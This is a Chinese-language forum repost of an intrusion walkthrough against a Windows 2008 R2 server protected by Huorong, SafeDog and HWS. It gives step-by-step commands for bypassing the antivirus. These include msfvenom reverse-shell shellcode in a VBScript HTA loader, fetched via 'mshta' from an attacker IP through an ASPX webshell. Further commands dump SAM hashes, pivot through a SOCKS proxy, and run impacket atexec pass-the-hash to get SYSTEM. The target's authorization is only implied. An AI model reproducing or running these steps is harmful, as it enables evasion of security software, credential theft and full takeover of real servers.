taibeihacker
Moderator
0x01 前言
朋友發來一個站讓幫看下提權,服務器上安裝的有護衛神+火絨+安全狗等安全防護軟件,看著確實挺唬人,他也試了不少常用提權EXP,結果都失敗了,可能是欠缺免殺EXP能力吧,當然也有可能是修復了這些漏洞,抽空給他看了下並寫了這篇記錄文章。

0x02 服务器基本信息搜集
雖然朋友在測試後給提供了些信息,但還是習慣自己去看下,因為每個人掌握的知識點和實戰經驗不一樣,只有自己看了後才知道安裝了哪些環境、WAF/AV和第三方軟件,以及開放了哪些端口、打了多少補丁等,這樣才能更好對其係統薄弱點進行測試。目標系統:Windows 2008 R2 (6.1 Build 7601, Service Pack 1).當前權限:iis apppool\*****.com支持腳本:ASP、ASPX、PHP,能夠直接執行系統命令開放端口:21(ftp)、80(http)、135(rpc)、443(https)、445(smb)、801(http)、3306(mysql)、2121(G6FTP)、8021(G6FTP)、6588(hws)、58895(TermService)進程名稱:G6FTPServer.exe、G6FTPTray.exe、 HwsHostPanel.exe、mysqld.exe、php-cgi.exe、SafeDogUpdateCenter.exe、CloudHelper.exe、SafeDogGuardCenter.exe、SafeDogTray.exe、SafeDogGuardHelper.exe、SafeDogGuardHelper.exe、HipsTray.exe、HipsDaemon.exe、usysdiag.exe
服務器上運行的有:火絨、護衛神主機大師、服務器安全狗、MySQL數據庫和G6FTP,可以嘗試提權方式有:護衛神主機大師、MySQL和G6FTP,不過在提權過程中得注意下火絨和服務器安全狗的查殺和攔截,盡可能的避免被管理員發現。

0x03 绕过火绒获取MSF会话
個人習慣在MSF下進行提權,首先我們先想辦法獲取一個會話,火絨默認會攔截web_delivery中的powershell執行和查殺hta_server的hta文件,所以這兩種方式在這裡是行不通的。

接著我們在VPS上用Python開啟一個臨時Web用於遠程調用,然後再去ASPX大馬的執行命令功能處用系統自帶的mshta.exe執行exp.hta這個文件後即可上線。 python -m SimpleHTTPServer 8888python3 -m http.server 8888

0x04 SAM注册表项导出哈希
朋友前期已經測試了很多提權EXP,加上護衛神主機大師為高版本,MySQL也被降權了,所以就不再去測試這些常規方法了,G6FTP還是可以去試一下,不過我這用的是另一種非常規方法。直接利用 《西部数码云主机失败提权案例》 一文中提到的方法,原理也很簡單,當SAM註冊表項有Users或Everyone的讀取權限時就能利用MSF下的hashdump模塊導出哈希。 meterpreter getuidmeterpreter load powershellmeterpreter powershell_shellPS Get-Acl -Path HKLM:\SAM\SAM | Format-Listmeterpreter run post/windows/gather/hashdump
0x05 atexec提升System权限
已經利用SAM註冊表項權限問題導出了主機哈希,但依舊面臨著一些問題,如:沒有明文密碼、破解不了哈希、添加不了用戶等,如遇到這種場景時應該怎樣進行下一步測試呢?
msf6 auxiliary(server/socks_proxy) set username testmsf6 auxiliary(server/socks_proxy) set password 123456msf6 auxiliary(server/socks_proxy) run






0x06 总结
1.通過格拉斯成功連接一句話2.執行systeminfo 命令發現目錄時windows2008r2 SP13.執行命令whoami發現iis權限,執行netstat -ano,發現21,80,445,801,3306,等端口開放4.通過執行命令tasklist/svc,通過在線殺軟進程對比,發現目標系統中存在護衛神,火絨,安全狗防護軟件以及數據庫mysql和G6FTP5.執行以下命令生成shellcode並執行監聽msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.124.145.16 lport=443 -f raw /tmp/shellcode.bin6.查看shellcode.bin代碼並通過base64輸出代碼cat /tmp/shellcode.bin | base64 -w 0msf6 set payload windows/meterpreter/reverse_tcpmsf6 set lhost 155.124.145.16msf6 set lport 443msf6 exploit7.自定義新建exp.hta,然後將exp.hta文件中的shellcode替換為MSF的shellcode即可。 script language='VBScript'Dim binary:binary='rundll32.exe'dim code:code='shecode.bin內容的base64'8.接著在VPS上用Python開啟一個臨時Web用於遠程調用python -m SimpleHTTPServer 8888python3 -m http.server 88889.通過格拉斯上傳APX大馬,在ASPX大馬的命令中執行cmdpath:c:\windows\system32\cmd.exeargument:/c mshta http://155.124.145.16/exp.hta10.當SAM註冊表項有Users或Everyone的讀取權限時就能利用MSF下的hashdump模塊導出哈希。 meterpreter getuidmeterpreter load powershellmeterpreter powershell_shellPS Get-Acl -Path HKLM:\SAM\SAM | Format-Listmeterpreter run post/windows/gather/hashdump11.已經利用SAM註冊表項權限問題導出了主機哈希,但是解密不出來12.這裡我們先將當前MSF會話添加進虛擬路由meterpreter run get_local_subnetsmeterpreter run autoroute -s 59.***.***.0/255.255.255.0meterpreter bg13.使用socks_proxy模塊開啟一個socks5代理, msf6 auxiliary(server/socks_proxy) set username testmsf6 auxiliary(server/socks_proxy) set password 123456msf6 auxiliary(server/socks_proxy) run14.Kali的proxychains配置默認在/etc/proxychains.conf,而自行編譯安裝的proxychains4配置在根目錄下/src/proxychains.conf,如何修改就不細說了,配置文件裡都有例子。
[root@p1600778655 src]# vi /srv/proxychains/src/proxychains.conf15.利用proxychains代理工具執行atexec時可能會出現以下報錯,且沒有命令執行回顯,但我們可以先用Ping 9o**mf.dnslog.cn命令看下是否執行成功,如果DNSLog收到數據則說明成功proxychains4 -f /srv/proxychains/src/proxychains.conf python3 /srv/impacket/examples/atexec.py -hashes :ebdccc154cadcda7f5ef0a2149274f3c administrator@59.***.***.230 'cmd /c ping 9o**mf.dnslog.cn'16.另起一個命令終端開啟MSF監聽,然後再用proxychains代理工具執行atexec,這裡再次執行前邊用到的exp.hta文件後即可得到目標主機SYSTEMmsf6 auxiliary(server/socks_proxy) sessions -i 1meterpreter run get_local_subnetsmeterpreter run autoroute -s 59.***.***.0/255.255.255.0meterpreter bgmsf6 auxiliary(server/socks_proxy) set username testmsf6 auxiliary(server/socks_proxy) set password 123456msf6 auxiliary(server/socks_proxy) run原文鏈接:https://mp.weixin.qq.com/s?__biz=Mz...3scene=178cur_album_id=1553386251775492098#rd